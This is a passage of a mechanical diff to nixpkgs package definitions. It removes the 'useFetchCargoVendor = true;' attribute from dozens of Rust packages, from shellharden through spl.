--- a/pkgs/by-name/sh/shellharden/package.nix
+++ b/pkgs/by-name/sh/shellharden/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-aBX3RXfDhlXVMV8aPO0pu3527nDoYrUDUbH6crWO/W8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kMY+esMOsQZC979jntcqF35KVJCBuNLXHb0WYOV5YHA=";
 
   postPatch = "patchShebangs moduletests/run";
diff --git a/pkgs/by-name/sh/shikane/package.nix b/pkgs/by-name/sh/shikane/package.nix
index 73a21535fc21..854f7f5d8a4b 100644
--- a/pkgs/by-name/sh/shikane/package.nix
+++ b/pkgs/by-name/sh/shikane/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Chc1+JUHXzuLl26NuBGVxSiXiaE4Ns1FXb0dBs6STVk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eVEfuX/dNFoNH9o18fIx51DP/MWrQMqInU4wtGCmUbQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sh/shisho/package.nix b/pkgs/by-name/sh/shisho/package.nix
index 2eb91be11f17..574a79cfbedc 100644
--- a/pkgs/by-name/sh/shisho/package.nix
+++ b/pkgs/by-name/sh/shisho/package.nix
@@ -18,7 +18,7 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-G7sHaDq+F5lXNaF1sSLUecdjZbCejJE79P4AQifKdFY=";
     fetchSubmodules = true;
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-gv3qvDzqwuuAVpbaOpMI7DuapSALMr/qzyhor3avYQI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sh/shotgun/package.nix b/pkgs/by-name/sh/shotgun/package.nix
index 40bbd4ff88de..0adca68b9825 100644
--- a/pkgs/by-name/sh/shotgun/package.nix
+++ b/pkgs/by-name/sh/shotgun/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-sBstFz7cYfwVQpDZeC3wPjzbKU5zQzmnhiWNqiCda1k=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Hv/lQhxRJvvMB5LC5K7k9SmuUCfaVZJynWIz8QOeL9A=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/sh/shotman/package.nix b/pkgs/by-name/sh/shotman/package.nix
index d26bcb73db56..69ba71e325a5 100644
--- a/pkgs/by-name/sh/shotman/package.nix
+++ b/pkgs/by-name/sh/shotman/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-kf/qloCaptxPzPEgd8fkzTfgqsI/PC3KJfHpBQWadjQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZL0dKvCX/cvMzJi05qPULlwWuUcXH/bY84sDH67UFHg=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sh/shpool/package.nix b/pkgs/by-name/sh/shpool/package.nix
index eb4eda0b2ee8..dff35c483400 100644
--- a/pkgs/by-name/sh/shpool/package.nix
+++ b/pkgs/by-name/sh/shpool/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
       --replace-fail '/usr/bin/shpool' "$out/bin/shpool"
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JDMgYd9mKsLdqc8rpDg3ymgFj/ntpBBF5fSDb2cLOJs=";
 
   buildInputs = [
diff --git a/pkgs/by-name/sh/shticker-book-unwritten/unwrapped.nix b/pkgs/by-name/sh/shticker-book-unwritten/unwrapped.nix
index b82c88c2af5e..856dcacee0d3 100644
--- a/pkgs/by-name/sh/shticker-book-unwritten/unwrapped.nix
+++ b/pkgs/by-name/sh/shticker-book-unwritten/unwrapped.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-jI2uL8tMUmjZ5jPkCV2jb98qtKwi9Ti4NVCPfuO3iB4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0eumZoAL8/nkeFS+sReCAYKHiXiqZHfdC/9Ao5U6/SQ=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/si/sic-image-cli/package.nix b/pkgs/by-name/si/sic-image-cli/package.nix
index ee93342f2d93..eada13b56dda 100644
--- a/pkgs/by-name/si/sic-image-cli/package.nix
+++ b/pkgs/by-name/si/sic-image-cli/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-PFbHHO3m4mnV5s8DVev/iao9sC3FYht0whTHYzO25Yo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-HL/KCC8Y42OFL1LXoewmH1Bxp6FICuDjkTnK5DE94Ms=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/si/sig/package.nix b/pkgs/by-name/si/sig/package.nix
index 9033c282cdc4..c2509b2adc83 100644
--- a/pkgs/by-name/si/sig/package.nix
+++ b/pkgs/by-name/si/sig/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-685VBQ64B+IbSSyqtVXtOgs4wY85WZ/OceHL++v5ip4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-x4/vCFbC+kxhne4iRjuJy4L6QRpRKrJU3r+TPpDh4Pw=";
 
   meta = {
diff --git a/pkgs/by-name/si/sigi/package.nix b/pkgs/by-name/si/sigi/package.nix
index e9da8c0cb77b..c5e355f385ce 100644
--- a/pkgs/by-name/si/sigi/package.nix
+++ b/pkgs/by-name/si/sigi/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Tsrfan7aejP2oy9x9VoTIq0ba0s0tnx1RTlAB0v6eis=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SFT0quq5e37tFa07sCFjb8u8scZLjhICBvKdQOR8s14=";
   nativeBuildInputs = [ installShellFiles ];
 
diff --git a/pkgs/by-name/si/signal-desktop/ringrtc.nix b/pkgs/by-name/si/signal-desktop/ringrtc.nix
index 0648b0f0f03d..2010e9bccaef 100644
--- a/pkgs/by-name/si/signal-desktop/ringrtc.nix
+++ b/pkgs/by-name/si/signal-desktop/ringrtc.nix
@@ -28,7 +28,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     tag = "v${finalAttrs.version}";
     hash = "sha256-T8oI04DOnTHFs7xlJ1wJbK64zqgJ2dM4Plz+C26DWEg=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-KTPZ/1rDqxYxgUfgVTnNg7nLNxwCWGXDf+uJAhmpB3g=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/si/siketyan-ghr/package.nix b/pkgs/by-name/si/siketyan-ghr/package.nix
index 7293bbf2f33a..3693f447b3b4 100644
--- a/pkgs/by-name/si/siketyan-ghr/package.nix
+++ b/pkgs/by-name/si/siketyan-ghr/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-L9+rcdt+MGZSCOJyCE4t/TT6Fjtxvfr9LBJYyRrx208=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xRa/brOYJ19J25wGdtNR2g+ouMyvz9YFXnzepeipWNQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/si/silicon/package.nix b/pkgs/by-name/si/silicon/package.nix
index 5dddeaaf1156..5bb79bd97168 100644
--- a/pkgs/by-name/si/silicon/package.nix
+++ b/pkgs/by-name/si/silicon/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-lwwbjSXW5uonJNZTAqTK14Ib4QDOD4puxY2CsiJk4/Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MpmGLhg00quz4mYkidLofpcZTVwxbgIThg5v2r4HIfs=";
 
   buildInputs = [
diff --git a/pkgs/by-name/si/simple-completion-language-server/package.nix b/pkgs/by-name/si/simple-completion-language-server/package.nix
index 34cd78cf894d..d3f8a795395c 100644
--- a/pkgs/by-name/si/simple-completion-language-server/package.nix
+++ b/pkgs/by-name/si/simple-completion-language-server/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-ot2h85cn2ID7GAOSJvIeKcC3uUYzS3TWQ4Ql6MzPG50=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-L0Xa+B5hMkVKdOD0YAyGErbgAY68CHzzeP0CLew0BMs=";
 
   buildFeatures = lib.optional withCitation [ "citation" ];
diff --git a/pkgs/by-name/si/simple-http-server/package.nix b/pkgs/by-name/si/simple-http-server/package.nix
index 66e8bbcdc790..78dec236ec62 100644
--- a/pkgs/by-name/si/simple-http-server/package.nix
+++ b/pkgs/by-name/si/simple-http-server/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-WaUBMGZaIjce83mskEtH9PLYDDlBL1MNoY8lz4++684=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5oZTT2qBtupuF2thhfko7mgWLu+e7+P92V+DPsPZ1Ak=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/si/sink-rotate/package.nix b/pkgs/by-name/si/sink-rotate/package.nix
index 02d8f7e26cf0..0df90825d76e 100644
--- a/pkgs/by-name/si/sink-rotate/package.nix
+++ b/pkgs/by-name/si/sink-rotate/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-ZHbisG9pdctkwfD1S3kxMZhBqPw0Ni5Q9qQG4RssnSw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OYFRiPAhiGbA7aNy3c4I0Tc39BNmFuP68YoBviMfbak=";
 
   nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/by-name/si/sirula/package.nix b/pkgs/by-name/si/sirula/package.nix
index 38ccc847fdf5..24df64af13e9 100644
--- a/pkgs/by-name/si/sirula/package.nix
+++ b/pkgs/by-name/si/sirula/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-rBaH2cIIaRoaw8Os60s4MknZywzDuGLagJiAvEYU4m8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7trHMGTWtf4IT7efyKIXM7n4x6j7n2V3I7ZXSSwvzys=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/sl/slingshot/package.nix b/pkgs/by-name/sl/slingshot/package.nix
index 4d3b886bedc4..36b8921abfca 100644
--- a/pkgs/by-name/sl/slingshot/package.nix
+++ b/pkgs/by-name/sl/slingshot/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-XI6uf54sEJ0htfY43aF8/X1/OF9m6peHUGDS+2nK3xA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Xf5lSwnD6ChpHaM7RQ/eti40iRZrNPpBsUn2QRzxecg=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/sl/slint-viewer/package.nix b/pkgs/by-name/sl/slint-viewer/package.nix
index 76165cd5e43c..1be285b0aaea 100644
--- a/pkgs/by-name/sl/slint-viewer/package.nix
+++ b/pkgs/by-name/sl/slint-viewer/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-Yez8GbER6ylkozQP5oQ0m0u+x/T5qQVPRt0S/NRFT60=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-vWTj6cJgvg10NaLw9WfHXmiG8hg7mUIH/Gj3JVvWCuA=";
 
   buildInputs = [
diff --git a/pkgs/by-name/sl/slippy/package.nix b/pkgs/by-name/sl/slippy/package.nix
index c50ce43067eb..b932891fd2e3 100644
--- a/pkgs/by-name/sl/slippy/package.nix
+++ b/pkgs/by-name/sl/slippy/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-7Uvo5+saxwTMQjfDliyOYC6j6LbpMf/FiONfX38xepI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-RGSc+jy2i97QZGfafe3M25bunBmCYAJ0UW3dAnvl5gs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sl/slowlorust/package.nix b/pkgs/by-name/sl/slowlorust/package.nix
index 71b74b20e646..41f4410636f0 100644
--- a/pkgs/by-name/sl/slowlorust/package.nix
+++ b/pkgs/by-name/sl/slowlorust/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-c4NWkQ/QvlUo1YoV2s7rWB6wQskAP5Qp1WVM23wvV3c=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-L0N7SVUzdTzDXPaS/da4kCKNG2lwS8Mqk1HET2LqSvY=";
 
   postPatch = ''
diff --git a/pkgs/by-name/sl/slumber/package.nix b/pkgs/by-name/sl/slumber/package.nix
index 2a30e3b05680..73021575fbf4 100644
--- a/pkgs/by-name/sl/slumber/package.nix
+++ b/pkgs/by-name/sl/slumber/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ilqIqw0N4Xsfw7ntLxoz4Ogn2e3NH8VnqAgowbvfZ+0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-acWEinwYCCtoapFkL6XyASvFX4bqYS/HrKjlaAZabi4=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/sm/smag/package.nix b/pkgs/by-name/sm/smag/package.nix
index fc0b1198de61..f8e76b1260dc 100644
--- a/pkgs/by-name/sm/smag/package.nix
+++ b/pkgs/by-name/sm/smag/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Vyd35wYDNI4T7DdqihwpmJOAZGxjnCeWS609o3L+gHM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qOinPZwZqcfQ4gv0Z+sfF53zd4tlEWCczaGGmLL79iE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/sm/smartcat/package.nix b/pkgs/by-name/sm/smartcat/package.nix
index 77f38f36f665..784fcfd2f97e 100644
--- a/pkgs/by-name/sm/smartcat/package.nix
+++ b/pkgs/by-name/sm/smartcat/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-nXuMyHV5Sln3qWXIhIDdV0thSY4YbvzGqNWGIw4QLdM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-AiOVIDfARztwQxOzBFWc8NXEEsxEvKAStCokcRrJyOE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sn/sn0int/package.nix b/pkgs/by-name/sn/sn0int/package.nix
index 076e0fc6c3ae..9f1be1deefc3 100644
--- a/pkgs/by-name/sn/sn0int/package.nix
+++ b/pkgs/by-name/sn/sn0int/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-tiJLwlxZ9ndircgkH23ew+3QJeuuqt93JahAtFPcuG8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nDgWNm5HTvFEMQhUUnU7o2Rpzl3/bGwyB0N9Z1KorDs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sn/snarkos/package.nix b/pkgs/by-name/sn/snarkos/package.nix
index f1c0bc66f641..757aa286401c 100644
--- a/pkgs/by-name/sn/snarkos/package.nix
+++ b/pkgs/by-name/sn/snarkos/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-+z9dgg5HdR+Gomug03gI1zdCU6t4SBHkl1Pxoq69wrc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-riUOxmuXDP5+BPSPu5+cLBP43bZxAqvVG/k5kvThSAs=";
 
   # buildAndTestSubdir = "cli";
diff --git a/pkgs/by-name/sn/snazy/package.nix b/pkgs/by-name/sn/snazy/package.nix
index 59e930056ffb..7ea22bdd457b 100644
--- a/pkgs/by-name/sn/snazy/package.nix
+++ b/pkgs/by-name/sn/snazy/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-VR4IRMmSQCF/CXgKfJ5OEFbXg9o/40lBonupOF38lFg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tZYAIlQW1IsQSpMF4BmiiCo1CVYjM2GNXcEXT3gCoPA=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/sn/sniffglue/package.nix b/pkgs/by-name/sn/sniffglue/package.nix
index 87f9b85dd8b7..d3b95dc428c8 100644
--- a/pkgs/by-name/sn/sniffglue/package.nix
+++ b/pkgs/by-name/sn/sniffglue/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Pp/SJJQFpEU/4GKZQB8BjRGS4hqB850QbSb5WoG6Wh4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4aOp9z1xAZ4+GfvcP4rwiS35BfNBnftNhK/oJDixa8w=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/sn/sniffnet/package.nix b/pkgs/by-name/sn/sniffnet/package.nix
index 3932913f19da..6783ac10a5a0 100644
--- a/pkgs/by-name/sn/sniffnet/package.nix
+++ b/pkgs/by-name/sn/sniffnet/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-MWYCXLIv0euEHkfqZCxbfs1wFHkGIFk06wn7F8CIXx0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-M7vIiGdH5+rdlqi603bfcXZavUAx2tU7+4sXb+QG+2g=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/sn/snpguest/package.nix b/pkgs/by-name/sn/snpguest/package.nix
index dcd0876bba60..25785036e575 100644
--- a/pkgs/by-name/sn/snpguest/package.nix
+++ b/pkgs/by-name/sn/snpguest/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bUdJUWeXi+TKQVW3xSRpLhf2BfXZWPz9Rwddob1nCK0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-RGlYY6f7csrCIYxj0Nfejn0lCXEgGd/MD442H3Q3OZ0=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/sn/snphost/package.nix b/pkgs/by-name/sn/snphost/package.nix
index 9f8aacce8f3e..57a2dc409c25 100644
--- a/pkgs/by-name/sn/snphost/package.nix
+++ b/pkgs/by-name/sn/snphost/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-GaeNoLx/fV/NNUS2b2auGvylhW6MOFp98Xi0sdDV3VM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-11D26PqCcKPoyCk4Zx29pkc6/B8DR+9+y+RJAq6ZbCs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sn/snx-rs/package.nix b/pkgs/by-name/sn/snx-rs/package.nix
index be931652bd21..50743f3e110e 100644
--- a/pkgs/by-name/sn/snx-rs/package.nix
+++ b/pkgs/by-name/sn/snx-rs/package.nix
@@ -56,7 +56,6 @@ rustPlatform.buildRustPackage rec {
     "--skip=platform::linux::net::tests::test_default_ip"
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-E5OJVf9CkLn5mFtk4Yacs2OIvAuIw0idSs7QuTNvfgU=";
 
   meta = {
diff --git a/pkgs/by-name/so/so/package.nix b/pkgs/by-name/so/so/package.nix
index 79cce36bc2b8..7b7b5cda708f 100644
--- a/pkgs/by-name/so/so/package.nix
+++ b/pkgs/by-name/so/so/package.nix
@@ -23,7 +23,6 @@ let
       hash = "sha256-25jZEo1C9XF4m9YzDwtecQy468nHyv2wnRuK5oY2siU=";
     };
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-cSLsfYYtdMiXGCG3jpq2Cxl8TgSb7iCWoeXNwEuv4FM=";
 
     nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/so/solana-cli/package.nix b/pkgs/by-name/so/solana-cli/package.nix
index 6247500776f3..9277a7690fb8 100644
--- a/pkgs/by-name/so/solana-cli/package.nix
+++ b/pkgs/by-name/so/solana-cli/package.nix
@@ -64,7 +64,6 @@ rustPlatform.buildRustPackage rec {
   cargoPatches = [ ./crossbeam-epoch.patch ];
 
   cargoHash = "sha256-adzcLrOiUUYhz57gme/hEmD4E3kVcKCp0/jSoavZfjw=";
-  useFetchCargoVendor = true;
 
   strictDeps = true;
   cargoBuildFlags = builtins.map (n: "--bin=${n}") solanaPkgs;
diff --git a/pkgs/by-name/so/solo2-cli/package.nix b/pkgs/by-name/so/solo2-cli/package.nix
index 18f5e509a71f..f53b437b1b2b 100644
--- a/pkgs/by-name/so/solo2-cli/package.nix
+++ b/pkgs/by-name/so/solo2-cli/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-7tpO5ir42mIKJXD0NJzEPXi/Xe6LdyEeBQWNfOdgX5I=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qD185H6wfW9yuYImTm9hqSgQpUQcKuCESM8riZwmGY0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/so/songrec/package.nix b/pkgs/by-name/so/songrec/package.nix
index aaff4caac201..c8d07e84d766 100644
--- a/pkgs/by-name/so/songrec/package.nix
+++ b/pkgs/by-name/so/songrec/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pTonrxlYvfuLRKMXW0Lao4KCoNFlMzE9rH+hwpa60JY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wSRn1JY067RVqGGdiox87+zRb2/2OMcvKLYZE1QUs/s=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/so/sonic-server/package.nix b/pkgs/by-name/so/sonic-server/package.nix
index 4518babafeb7..75564b40628a 100644
--- a/pkgs/by-name/so/sonic-server/package.nix
+++ b/pkgs/by-name/so/sonic-server/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-PTujR3ciLRvbpiqStNMx3W5fkUdW2dsGmCj/iFRTKJM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-RO4wY7FMwczZeR4GOxA3mwfBJZKPToOJJKGZb48yHJA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/so/sonusmix/package.nix b/pkgs/by-name/so/sonusmix/package.nix
index 21c19a0cc9d0..f84d7150623f 100644
--- a/pkgs/by-name/so/sonusmix/package.nix
+++ b/pkgs/by-name/so/sonusmix/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-vqbYJuErghSsvkFccLFUYuf1Dsg17tCBhF4/NLcba/E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KiCJ8XOU5qnO0zB1K7XBTx35WWUpAmqPFkNZOIgwLA0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/so/soteria/package.nix b/pkgs/by-name/so/soteria/package.nix
index ff6afa1c594e..25135f50ea38 100644
--- a/pkgs/by-name/so/soteria/package.nix
+++ b/pkgs/by-name/so/soteria/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-i7g2my0hP54Tj86UVEEFQIb5ih26djKgLg++I1n9Sfs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Z9ycfFhnff0z2ZG+tqf+qGUL7gDJQ+kC+e+WZ21qN1Y=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/so/sourcepawn-studio/package.nix b/pkgs/by-name/so/sourcepawn-studio/package.nix
index b6208dca0514..02739be2ab37 100644
--- a/pkgs/by-name/so/sourcepawn-studio/package.nix
+++ b/pkgs/by-name/so/sourcepawn-studio/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-L/xgzWbhfRTvoRElKApb9JKXNfqJF+nfDk9Xo/qwL00=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5Zd3Stoi8AqsZE38pnilmjuRMgTPAGB+R8QI2JFZ7s4=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/so/sozu/package.nix b/pkgs/by-name/so/sozu/package.nix
index a14e5f750236..e61a237ddb41 100644
--- a/pkgs/by-name/so/sozu/package.nix
+++ b/pkgs/by-name/so/sozu/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Cda53lhKPxm2w8guoKuQjdjhZNWJinzR1PHc5S57y2w=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-AIj59MqK+TqyTTDjGzN1Oec3svPaXRBkHJTBtxTwZNg=";
 
   nativeBuildInputs = [ protobuf ];
diff --git a/pkgs/by-name/sp/spacer/package.nix b/pkgs/by-name/sp/spacer/package.nix
index c195e03b3f6e..35f5ef70851c 100644
--- a/pkgs/by-name/sp/spacer/package.nix
+++ b/pkgs/by-name/sp/spacer/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-N6HNPuEYcbuqpHv8Qr43iRtRdtyBo4TP7YccIcbpIpc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/sUQy5dn83KLzBXZ2+QEMM6hOqE7T3tZ80Q3M510jjQ=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/sp/spacetimedb/package.nix b/pkgs/by-name/sp/spacetimedb/package.nix
index 43802b8c824c..b9ee744bbc12 100644
--- a/pkgs/by-name/sp/spacetimedb/package.nix
+++ b/pkgs/by-name/sp/spacetimedb/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-eBbRdkJafkMXOEsnh1yoht8WJAwZToPobWnhjTWhnA4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gs1A/gtjA941TWZw+wxMR+9TCayRa1k49/G8XnzW2ek=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sp/spade/package.nix b/pkgs/by-name/sp/spade/package.nix
index 2417db5f7606..145c1faf3470 100644
--- a/pkgs/by-name/sp/spade/package.nix
+++ b/pkgs/by-name/sp/spade/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YMUeHr9eUOYIcO7PbaFgZa0Ib10GMF+jT10ZCSG7PNo=";
 
   # TODO: somehow respect https://nixos.org/manual/nixpkgs/stable/#var-passthru-updateScript-commit
diff --git a/pkgs/by-name/sp/speakersafetyd/package.nix b/pkgs/by-name/sp/speakersafetyd/package.nix
index 6fac99af8fbc..2bf471ff4020 100644
--- a/pkgs/by-name/sp/speakersafetyd/package.nix
+++ b/pkgs/by-name/sp/speakersafetyd/package.nix
@@ -16,7 +16,7 @@ rustPlatform.buildRustPackage rec {
     inherit pname version;
     hash = "sha256-3DzBNebg1y/+psD2zOpDsnRJmabQLeO1UMxPq9M0CsU=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-DnOnqi60JsRX8yqEM/5zZ3yX/rk85/ruwL3aW1FRXKg=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/sp/specr-transpile/package.nix b/pkgs/by-name/sp/specr-transpile/package.nix
index 526dacf895c7..ffb3afd5d841 100644
--- a/pkgs/by-name/sp/specr-transpile/package.nix
+++ b/pkgs/by-name/sp/specr-transpile/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-yB4b7VaZ22zk8jhQijBOWRks22TV19q9IQNlVXyBlss=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-pMkvyMGfvLdj406xH/1+ZHE33iZDcmUUBjeSiIro0xY=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/sp/speedtest-rs/package.nix b/pkgs/by-name/sp/speedtest-rs/package.nix
index e5d5b402b826..87acb7b2e812 100644
--- a/pkgs/by-name/sp/speedtest-rs/package.nix
+++ b/pkgs/by-name/sp/speedtest-rs/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-T8OG6jmUILeRmvPLjGDFlJyBm87Xdgy4bw4n7V0BQMk=";
 
   # Fail for unclear reasons (only on darwin)
diff --git a/pkgs/by-name/sp/spider/package.nix b/pkgs/by-name/sp/spider/package.nix
index d39f447e712f..dbc0c339ec50 100644
--- a/pkgs/by-name/sp/spider/package.nix
+++ b/pkgs/by-name/sp/spider/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-aJXd8yzDEP1pYe4J8Zi6vmLN1+ki6B0tLFV/mvwkk/k=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QVh962yXXStDwLyd8LSnmxkik6wNebOfGyH0HuE13kg=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sp/spl/package.nix b/pkgs/by-name/sp/spl/package.nix
index bef9b6c2a113..9d73cbd72de1 100644
--- a/pkgs/by-name/sp/spl/package.nix
+++ b/pkgs/by-name/sp/spl/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ckj50psQ2/r7Bw03J2VjHx0R1zY5xivJfvB9HNxnJLw=";
   };
 
-  useFetchCargoVendor = true;
